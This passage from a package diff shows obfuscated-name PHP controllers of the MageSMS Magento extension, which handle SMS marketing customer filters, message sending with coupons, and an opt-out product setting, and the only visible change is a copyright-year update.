$i8114d84b871449f246242a4433e364f848daff0c[] = sprintf($i03474abc9cad4f5c29a2f0bca70a29051a128bc9, 'filter2', $i376a6873d4104d44a8d8f0acacfc41b40105e11f, 'filter2'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setJs($i8114d84b871449f246242a4433e364f848daff0c); break; case 'birthdayall': $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('note1', 'note', array( 'text' => Mage::helper('magesms')->__('day').': ', )); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('filter1', 'select', array( 'name' => 'filter[]', 'values' => array_combine(range(1, 31), range(1, 31)), )); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('note2', 'note', array( 'text' => Mage::helper('magesms')->__('month').': ', )); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('filter2', 'select', array( 'name' => 'filter[]', 'values' => array_combine(range(1, 12), range(1, 12)), )); break; case 'number': $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('filter1', 'select', array( 'name' => 'filter[]', 'values' => array('0'=> '<', '1' => '>', '2' => '=', '3' => '≠'), 'style' => 'min-width:auto;width:40px' )); $i1791b2d1f89bb2bd83b34046f59125af207713db->addField('filter2', 'text', array( 'name' => 'filter[]', )); break; } $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($i1791b2d1f89bb2bd83b34046f59125af207713db->getHtml()); } } break; case 'applyFilter': $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('value'); if (is_array($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) && count($if2eee0665f163a28f4adcfe84e3fc666bf1bcd89) == 1) $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89 = $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89[0]; if (($i2bd9743336318d0e14be0600c9129730279505dd = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('name')) && $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89 !== '') { $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 = Mage::getModel('magesms/marketing_filter_collection'); $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2->addApplyFilter($i2bd9743336318d0e14be0600c9129730279505dd, $if2eee0665f163a28f4adcfe84e3fc666bf1bcd89); $this->f6d43ff809a46f71c1e634564f2b37e20a99bbb9c(); $i21e55df616c305955791876c1eb4da83448beba2 = $this->_getBlockCustomer(); $i1791b2d1f89bb2bd83b34046f59125af207713db = $this->getLayout()->createBlock('magesms/marketing_form'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml( array( 'appliedFilters' => $i1791b2d1f89bb2bd83b34046f59125af207713db->getHtmlFilters(), 'customers' => $i21e55df616c305955791876c1eb4da83448beba2->toHtml(), 'count' => $this->_collection->count() )); } break; case 'removeFilter': $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('id'); if (is_numeric($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538)) { $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 = Mage::getModel('magesms/marketing_filter_collection'); $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2->removeFilter($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); $this->f6d43ff809a46f71c1e634564f2b37e20a99bbb9c(); $i21e55df616c305955791876c1eb4da83448beba2 = $this->_getBlockCustomer(); $i9e86252a333eb6c832bb895a8d1690c48b2ed3fd = $this->_getBlockDeleted(); $i1791b2d1f89bb2bd83b34046f59125af207713db = $this->getLayout()->createBlock('magesms/marketing_form'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml( array( 'appliedFilters' => $i1791b2d1f89bb2bd83b34046f59125af207713db->getHtmlFilters(), 'customers' => $i21e55df616c305955791876c1eb4da83448beba2->toHtml(), 'deleted' => $i9e86252a333eb6c832bb895a8d1690c48b2ed3fd->toHtml(), 'count' => $this->_collection->count() )); } break; case 'listCustomers': if ($i47b2a41e4081b6f8d8381f411087dcd7042bfb53 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('letter')) { $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 = Mage::getModel('magesms/marketing_filter_collection'); $this->f6d43ff809a46f71c1e634564f2b37e20a99bbb9c(); $this->_collection->addFieldToFilter('lastname', array('like' => $i47b2a41e4081b6f8d8381f411087dcd7042bfb53.'%')); $i21e55df616c305955791876c1eb4da83448beba2 = $this->getBlockCustomer(); $i21e55df616c305955791876c1eb4da83448beba2->setCollection($this->_collection); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($i21e55df616c305955791876c1eb4da83448beba2->toHtml()); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setType('customer'); } break; case 'removeCustomer': if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('id')) { $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 = Mage::getModel('magesms/marketing_filter_collection'); $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2->addRemoveCustomer($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); $this->f6d43ff809a46f71c1e634564f2b37e20a99bbb9c(); $ib1285cda66d7403b4e0132565b5359295c62d58c = clone $this->_collection; $i21e55df616c305955791876c1eb4da83448beba2 = $this->_getBlockCustomer(); $i9e86252a333eb6c832bb895a8d1690c48b2ed3fd = $this->_getBlockDeleted(); $id82aaf2f437652c4b6efbd55703199f614e8e516 = array( 'customers' => $i21e55df616c305955791876c1eb4da83448beba2->toHtml(), 'deleted' => $i9e86252a333eb6c832bb895a8d1690c48b2ed3fd->toHtml(), 'count' => $this->_collection->count() ); if ($i47b2a41e4081b6f8d8381f411087dcd7042bfb53 = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('letter')) { $ib1285cda66d7403b4e0132565b5359295c62d58c->addFieldToFilter('lastname', array('like' => $i47b2a41e4081b6f8d8381f411087dcd7042bfb53.'%')); $i2ca8461421e371a2dc8ff5b5c9a248f5fb0a6dbc = $this->getBlockCustomer(); $i2ca8461421e371a2dc8ff5b5c9a248f5fb0a6dbc->setCollection($ib1285cda66d7403b4e0132565b5359295c62d58c); $id82aaf2f437652c4b6efbd55703199f614e8e516['customer_letter'] = $i2ca8461421e371a2dc8ff5b5c9a248f5fb0a6dbc->toHtml(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setType('customer'); } $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($id82aaf2f437652c4b6efbd55703199f614e8e516); } break; case 'reset': $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 = Mage::getModel('magesms/marketing_filter_collection'); $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2->resetFilter(); $this->f6d43ff809a46f71c1e634564f2b37e20a99bbb9c(); $i21e55df616c305955791876c1eb4da83448beba2 = $this->_getBlockCustomer(); $i9e86252a333eb6c832bb895a8d1690c48b2ed3fd = $this->_getBlockDeleted(); $i1791b2d1f89bb2bd83b34046f59125af207713db = $this->getLayout()->createBlock('magesms/marketing_form'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml( array( 'appliedFilters' => $i1791b2d1f89bb2bd83b34046f59125af207713db->getHtmlFilters(), 'customers' => $i21e55df616c305955791876c1eb4da83448beba2->toHtml(), 'deleted' => $i9e86252a333eb6c832bb895a8d1690c48b2ed3fd->toHtml(), 'count' => $this->_collection->count() )); break; } } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setMessage($this->getLayout()->getMessagesBlock()->getGroupedHtml()); } } } $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } protected function _popup($iacea0d13bc5e2676192c06d68cb091dc0ce26320 = true) { $id82aaf2f437652c4b6efbd55703199f614e8e516 = ''; if ($iacea0d13bc5e2676192c06d68cb091dc0ce26320) { $i1791b2d1f89bb2bd83b34046f59125af207713db = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'magesms_marketing_templateform', array('template' => 'topefekt/magesms/marketing/form.phtml') ); $id82aaf2f437652c4b6efbd55703199f614e8e516 = $i1791b2d1f89bb2bd83b34046f59125af207713db->toHtml(); } $i42cf41da37138d64d37b0778e6561aab5e1239d6 = $this->getLayout()->createBlock('magesms/marketing_template'); return $id82aaf2f437652c4b6efbd55703199f614e8e516.$i42cf41da37138d64d37b0778e6561aab5e1239d6->toHtml(); } public function sendAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); if ( $this->getRequest()->getPost() ) { try { Mage::getModel('magesms/observer')->cronUpdate(); $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('text'); $ifc17de93671eea5715520ecfbc4dc543818685b8 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('unique') ? true : false; $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('unicode') ? true : false; $iad9ca2238db0190a0310a03143f9935535720c34 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('coupon'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f = Mage::getModel('magesms/sms'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setMessage($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa) ->setType(Topefekt_Magesms_Model_Sms::TYPE_MARKETING) ->setPriority(false) ->setUnicode($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd) ->setUnique($ifc17de93671eea5715520ecfbc4dc543818685b8); if ($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('sendlater') && $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datumodesl')) { $i4c323947385ff52539168f26084feed4bc17e2dc = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datumodesl'); $i6aa8d50211ad373efab0896425f6f5fa0e013c29 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datumodesl_hour'); $if8001c570b9f0e904df8b36797628015beb8fa80 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datumodesl_min'); $i836a3cd8c554d1c35cc3c6cf3e3f49052b683096 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('datereal', 0); $i4c323947385ff52539168f26084feed4bc17e2dc = strtotime("$i4c323947385ff52539168f26084feed4bc17e2dc $i6aa8d50211ad373efab0896425f6f5fa0e013c29:$if8001c570b9f0e904df8b36797628015beb8fa80:00") + 3600*$i836a3cd8c554d1c35cc3c6cf3e3f49052b683096; $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setSendlater($i4c323947385ff52539168f26084feed4bc17e2dc); } $this->f6d43ff809a46f71c1e634564f2b37e20a99bbb9c(); $i66e3a0cd135d568c8d85190341325c1d3af03b4b = null; if ($iad9ca2238db0190a0310a03143f9935535720c34) { $i66e3a0cd135d568c8d85190341325c1d3af03b4b = Mage::getSingleton('salesrule/rule')->load($iad9ca2238db0190a0310a03143f9935535720c34); if ($i66e3a0cd135d568c8d85190341325c1d3af03b4b) { if ($i66e3a0cd135d568c8d85190341325c1d3af03b4b->getUseAutoGeneration()) { if (count($i66e3a0cd135d568c8d85190341325c1d3af03b4b->getCoupons()) < $this->_collection->count()) { $if3b1e2c1706de4c1bca112c669caba3a0420b880 = Mage::helper('magesms')->__('Few coupons have been generated. Generate more coupons.'); $if3b1e2c1706de4c1bca112c669caba3a0420b880 .= '<br />'.Mage::helper('magesms')->__('Number of coupons: %s', count($i66e3a0cd135d568c8d85190341325c1d3af03b4b->getCoupons())); $if3b1e2c1706de4c1bca112c669caba3a0420b880 .= '<br />'.Mage::helper('magesms')->__('Number of recipients: %s', $this->_collection->count()); Mage::throwException($if3b1e2c1706de4c1bca112c669caba3a0420b880); } } if ($i3e3a0f2ae6a0c8837eef43b5d93ce2acef452442 = $i66e3a0cd135d568c8d85190341325c1d3af03b4b->getCoupons()) { $i66e3a0cd135d568c8d85190341325c1d3af03b4b->setCoupon(current($i3e3a0f2ae6a0c8837eef43b5d93ce2acef452442)); } } } foreach($this->_collection as $iff7e46827cbb6547116c592bf800f4687428abf9) { if ($iff7e46827cbb6547116c592bf800f4687428abf9->getWebsiteId()) { if (isset($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['website_'.$iff7e46827cbb6547116c592bf800f4687428abf9->getWebsiteId()])) { $i9fdb3b1e2e6984ebdd1220ec199279013c5483fc = $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['website_'.$iff7e46827cbb6547116c592bf800f4687428abf9->getWebsiteId()]; $ic5616185277631275bc74b85565c0c6eed62a3cd = $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['store-id_'.$iff7e46827cbb6547116c592bf800f4687428abf9->getWebsiteId()]; } else { $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['website_'.$iff7e46827cbb6547116c592bf800f4687428abf9->getWebsiteId()] = $i9fdb3b1e2e6984ebdd1220ec199279013c5483fc = Mage::getModel('core/website')->load($iff7e46827cbb6547116c592bf800f4687428abf9->getWebsiteId()); $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['store-id_'.$iff7e46827cbb6547116c592bf800f4687428abf9->getWebsiteId()] = $ic5616185277631275bc74b85565c0c6eed62a3cd = $i9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getDefaultStore()->getId(); } } else { $ic5616185277631275bc74b85565c0c6eed62a3cd = null; } $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->addRecipient($iff7e46827cbb6547116c592bf800f4687428abf9->getTelephone(), array( 'country' => $iff7e46827cbb6547116c592bf800f4687428abf9->getCountryId(), 'customerId' => $iff7e46827cbb6547116c592bf800f4687428abf9->getId(), 'recipient' => $iff7e46827cbb6547116c592bf800f4687428abf9->getFirstname().' '.$iff7e46827cbb6547116c592bf800f4687428abf9->getLastname(), 'text' => $this->_prepareText($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538fc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, $ic5616185277631275bc74b85565c0c6eed62a3cd, $iff7e46827cbb6547116c592bf800f4687428abf9, $i66e3a0cd135d568c8d85190341325c1d3af03b4b), 'dnd' => !(($i17dbc08b33778f0cb7ec2da29ca88fea8caf1bf1 = $iff7e46827cbb6547116c592bf800f4687428abf9->getMagesmsCustomerMarketing()) ? $i17dbc08b33778f0cb7ec2da29ca88fea8caf1bf1 : is_null($i17dbc08b33778f0cb7ec2da29ca88fea8caf1bf1) ? 1 : $i17dbc08b33778f0cb7ec2da29ca88fea8caf1bf1), ) ); if ($i66e3a0cd135d568c8d85190341325c1d3af03b4b && $i66e3a0cd135d568c8d85190341325c1d3af03b4b->getUseAutoGeneration()) { $i66e3a0cd135d568c8d85190341325c1d3af03b4b->setCoupon(next($i3e3a0f2ae6a0c8837eef43b5d93ce2acef452442)); } } $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->send(); $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $this->_initLayoutMessages('adminhtml/session'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setMessage($this->getLayout()->getMessagesBlock()->getGroupedHtml()); $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } } else { $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } return $this; } public function sentAction() { $this->_redirect('*/*/index'); } protected function _getBlockCustomer() { $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock('magesms/marketing_customer'); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setCollection($this->_collection); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setTitle(Mage::helper('magesms')->__('Customers found: ')); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setId('customer'); return $i8ee45e0018a32fb1a855b82624506e35789cc4d2; } protected function _getBlockDeleted() { $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock('magesms/marketing_customer'); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setDeleteCustomer(true); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setTitle(Mage::helper('magesms')->__('Removed Customers: ')); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setId('deleted'); $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::helper('magesms')->getCustomerCollection(); $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('entity_id', array('in' => $this->_filters->getCache()->getCustomers()->getIds())); foreach($iff7e46827cbb6547116c592bf800f4687428abf9 as $i705fa7c9639d497e1179d7d5691c212668a8c9c8) { $i705fa7c9639d497e1179d7d5691c212668a8c9c8->setDetailUrl(Mage::helper("adminhtml")->getUrl('adminhtml/customer/edit', array('id' => $i705fa7c9639d497e1179d7d5691c212668a8c9c8->getId()))); $i705fa7c9639d497e1179d7d5691c212668a8c9c8->setRemoveUrl($this->getUrl('*/*/filter', array('action' => 'removeCustomer', 'id' => $i705fa7c9639d497e1179d7d5691c212668a8c9c8->getId()))); } $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setCollection($iff7e46827cbb6547116c592bf800f4687428abf9); return $i8ee45e0018a32fb1a855b82624506e35789cc4d2; } protected function _getCollection() { $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::helper('magesms')->getCustomerCollection(); return $iff7e46827cbb6547116c592bf800f4687428abf9; } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/marketing') ->_title(Mage::helper('magesms')->__('Marketing SMS')) ; $i3358fd35282548f1f8ccafbf23d60a4ade466fd3 = '
31
  Translator.add("Filter has been applied.", "'.$this->__('Filter has been applied.').'");
32
  Translator.add("Filter has been saved.", "'.$this->__('Filter has been saved.').'");
33
  Translator.add("Are you sure you want to reset the filter?", "'.$this->__('Are you sure you want to reset the filter?').'");
app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/OptoutController.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Adminhtml_Magesms_OptoutController extends Topefekt_Magesms_Controller_Action { public function indexAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here2', array('template' => 'topefekt/magesms/optout.phtml') ); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setOptoutMarketing(Mage::getStoreConfig('magesms/optout/marketing')); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } public function saveAction() { $ic010a5d08128ec6abcd0a1a16cb1d8abe7bf2142 = Mage::getConfig()->getNode('default/config/optout')->sku; if ( $this->getRequest()->getPost() ) { $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); Mage::app()->setCurrentStore(Mage_Core_Model_App::ADMIN_STORE_ID); $i69a1201e93806d55c970dfb18feec53d221ba37b = Mage::getModel('catalog/product')->loadByAttribute('sku', $ic010a5d08128ec6abcd0a1a16cb1d8abe7bf2142); if (!$i69a1201e93806d55c970dfb18feec53d221ba37b) { $i69a1201e93806d55c970dfb18feec53d221ba37b = Mage::getModel('catalog/product') ->setStoreId(0); $i777846b49037125c3bf5873d46a33ab5976c5a42 = Mage::getModel('catalog/product')->getResource()->getEntityType()->getDefaultAttributeSetId(); $i69a1201e93806d55c970dfb18feec53d221ba37b->setAttributeSetId($i777846b49037125c3bf5873d46a33ab5976c5a42); $i69a1201e93806d55c970dfb18feec53d221ba37b->setTypeId(Mage_Catalog_Model_Product_Type::TYPE_VIRTUAL); $i69a1201e93806d55c970dfb18feec53d221ba37b->setData('_edit_mode', true); $i69a1201e93806d55c970dfb18feec53d221ba37b->setSku($ic010a5d08128ec6abcd0a1a16cb1d8abe7bf2142); $i69a1201e93806d55c970dfb18feec53d221ba37b->setStatus(Mage_Catalog_Model_Product_Status::STATUS_ENABLED); $i69a1201e93806d55c970dfb18feec53d221ba37b->setTaxClassId(0); $i69a1201e93806d55c970dfb18feec53d221ba37b->setVisibility(Mage_Catalog_Model_Product_Visibility::VISIBILITY_NOT_VISIBLE); $i69a1201e93806d55c970dfb18feec53d221ba37b->setStockData(array( 'use_config_manage_stock' => 0, 'manage_stock' => 0, 'use_config_min_sale_qty' => 0, 'min_sale_qty' => 0, 'use_config_max_sale_qty' => 0, 'max_sale_qty' => 1, )); $if71cbed623a99cd5a1032d4d3388bfd486053db2 = array(); foreach (Mage::app()->getWebsites() as $i9fdb3b1e2e6984ebdd1220ec199279013c5483fc) { $if71cbed623a99cd5a1032d4d3388bfd486053db2[] = $i9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getId(); } $i69a1201e93806d55c970dfb18feec53d221ba37b->setWebsiteIds($if71cbed623a99cd5a1032d4d3388bfd486053db2); $i69a1201e93806d55c970dfb18feec53d221ba37b->setCreatedAt(strtotime('now')); $i69a1201e93806d55c970dfb18feec53d221ba37b->setDescription($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('name')); $i69a1201e93806d55c970dfb18feec53d221ba37b->setShortDescription($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('name')); $i2bd9743336318d0e14be0600c9129730279505dd = array_values($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('name')); $i69a1201e93806d55c970dfb18feec53d221ba37b->setName($i2bd9743336318d0e14be0600c9129730279505dd[0]); $i69a1201e93806d55c970dfb18feec53d221ba37b->setPrice(0); $ia021b43e6045d8140052e6c3c684787a27e4bbe5 = Mage::getBaseDir('media'); if (file_exists($ia021b43e6045d8140052e6c3c684787a27e4bbe5.'/magesms/sms.png')) { $i1babd2991da6b9dfe1f546b773f6f35cec746fff = array ('thumbnail', 'small_image', 'image'); $i69a1201e93806d55c970dfb18feec53d221ba37b->addImageToMediaGallery($ia021b43e6045d8140052e6c3c684787a27e4bbe5.'/magesms/sms.png', $i1babd2991da6b9dfe1f546b773f6f35cec746fff, false, false); } $i69a1201e93806d55c970dfb18feec53d221ba37b->save(); Mage::getModel('catalogrule/rule')->applyAllRulesToProduct($i69a1201e93806d55c970dfb18feec53d221ba37b->getId()); foreach(Mage::app()->getStores(false) as $i7079b107a03c03d74ad14b853dad74b85b2d25d1) { Mage::getModel('catalog/product_status')->updateProductStatus($i69a1201e93806d55c970dfb18feec53d221ba37b->getId(), $i7079b107a03c03d74ad14b853dad74b85b2d25d1->getId(), Mage_Catalog_Model_Product_Status::STATUS_DISABLED); } } else { } $i8171218dd25ff7f2de2e1c0d8733bda70b607d79 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('website', 0); $i712821c3a64ae4a252ded9f3deaaddb6e942d985 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('status', 0) ? Mage_Catalog_Model_Product_Status::STATUS_ENABLED : Mage_Catalog_Model_Product_Status::STATUS_DISABLED; $ie7d1f3c0ab09749c63a4d4213221b59ce80ea45c = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('name', array()); $ib8129b89cda7dae2cfe1b114353de8ba2385974e = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('auto', 1); foreach(Mage::app()->getWebsite($i8171218dd25ff7f2de2e1c0d8733bda70b607d79)->getStoreIds() as $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66) { Mage::getModel('catalog/product_status')->updateProductStatus($i69a1201e93806d55c970dfb18feec53d221ba37b->getId(), $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66, $i712821c3a64ae4a252ded9f3deaaddb6e942d985); $i69a1201e93806d55c970dfb18feec53d221ba37b->load($i69a1201e93806d55c970dfb18feec53d221ba37b->getId()); $i69a1201e93806d55c970dfb18feec53d221ba37b->setStoreId($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); $i69a1201e93806d55c970dfb18feec53d221ba37b->setPrice($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('price')); if (isset($ie7d1f3c0ab09749c63a4d4213221b59ce80ea45c[$i3bf172bc34c83f4a18624b192bc0bd7c4d647a66])) $i69a1201e93806d55c970dfb18feec53d221ba37b->setName($ie7d1f3c0ab09749c63a4d4213221b59ce80ea45c[$i3bf172bc34c83f4a18624b192bc0bd7c4d647a66]); $i69a1201e93806d55c970dfb18feec53d221ba37b->save(); Mage::getSingleton('catalog/product_action')->updateAttributes(array($i69a1201e93806d55c970dfb18feec53d221ba37b->getId()), array('magesms_optout' => 1), 0); Mage::getSingleton('catalog/product_action')->updateAttributes(array($i69a1201e93806d55c970dfb18feec53d221ba37b->getId()), array('magesms_optout' => $ib8129b89cda7dae2cfe1b114353de8ba2385974e), $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); } Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('magesms')->__('Setting of the SMS opt-out feature was successfully changed')); } $this->_redirect('*/*/index', array('_fragment' => $i8171218dd25ff7f2de2e1c0d8733bda70b607d79)); } public function saveOptoutMarketingAction() { $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); Mage::getModel('core/config')->saveConfig('magesms/optout/marketing', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('status')); Mage::getConfig()->reinit(); $this->_redirect('*/*/index'); } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/purchasecredit') ->_title(Mage::helper('magesms')->__('SMS opt-out')); ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/settings/optout'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  class Topefekt_Magesms_Adminhtml_Magesms_OptoutController extends Topefekt_Magesms_Controller_Action { public function indexAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here2', array('template' => 'topefekt/magesms/optout.phtml') ); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setOptoutMarketing(Mage::getStoreConfig('magesms/optout/marketing')); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); return $this; } public function saveAction() { $ic010a5d08128ec6abcd0a1a16cb1d8abe7bf2142 = Mage::getConfig()->getNode('default/config/optout')->sku; if ( $this->getRequest()->getPost() ) { $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); Mage::app()->setCurrentStore(Mage_Core_Model_App::ADMIN_STORE_ID); $i69a1201e93806d55c970dfb18feec53d221ba37b = Mage::getModel('catalog/product')->loadByAttribute('sku', $ic010a5d08128ec6abcd0a1a16cb1d8abe7bf2142); if (!$i69a1201e93806d55c970dfb18feec53d221ba37b) { $i69a1201e93806d55c970dfb18feec53d221ba37b = Mage::getModel('catalog/product') ->setStoreId(0); $i777846b49037125c3bf5873d46a33ab5976c5a42 = Mage::getModel('catalog/product')->getResource()->getEntityType()->getDefaultAttributeSetId(); $i69a1201e93806d55c970dfb18feec53d221ba37b->setAttributeSetId($i777846b49037125c3bf5873d46a33ab5976c5a42); $i69a1201e93806d55c970dfb18feec53d221ba37b->setTypeId(Mage_Catalog_Model_Product_Type::TYPE_VIRTUAL); $i69a1201e93806d55c970dfb18feec53d221ba37b->setData('_edit_mode', true); $i69a1201e93806d55c970dfb18feec53d221ba37b->setSku($ic010a5d08128ec6abcd0a1a16cb1d8abe7bf2142); $i69a1201e93806d55c970dfb18feec53d221ba37b->setStatus(Mage_Catalog_Model_Product_Status::STATUS_ENABLED); $i69a1201e93806d55c970dfb18feec53d221ba37b->setTaxClassId(0); $i69a1201e93806d55c970dfb18feec53d221ba37b->setVisibility(Mage_Catalog_Model_Product_Visibility::VISIBILITY_NOT_VISIBLE); $i69a1201e93806d55c970dfb18feec53d221ba37b->setStockData(array( 'use_config_manage_stock' => 0, 'manage_stock' => 0, 'use_config_min_sale_qty' => 0, 'min_sale_qty' => 0, 'use_config_max_sale_qty' => 0, 'max_sale_qty' => 1, )); $if71cbed623a99cd5a1032d4d3388bfd486053db2 = array(); foreach (Mage::app()->getWebsites() as $i9fdb3b1e2e6984ebdd1220ec199279013c5483fc) { $if71cbed623a99cd5a1032d4d3388bfd486053db2[] = $i9fdb3b1e2e6984ebdd1220ec199279013c5483fc->getId(); } 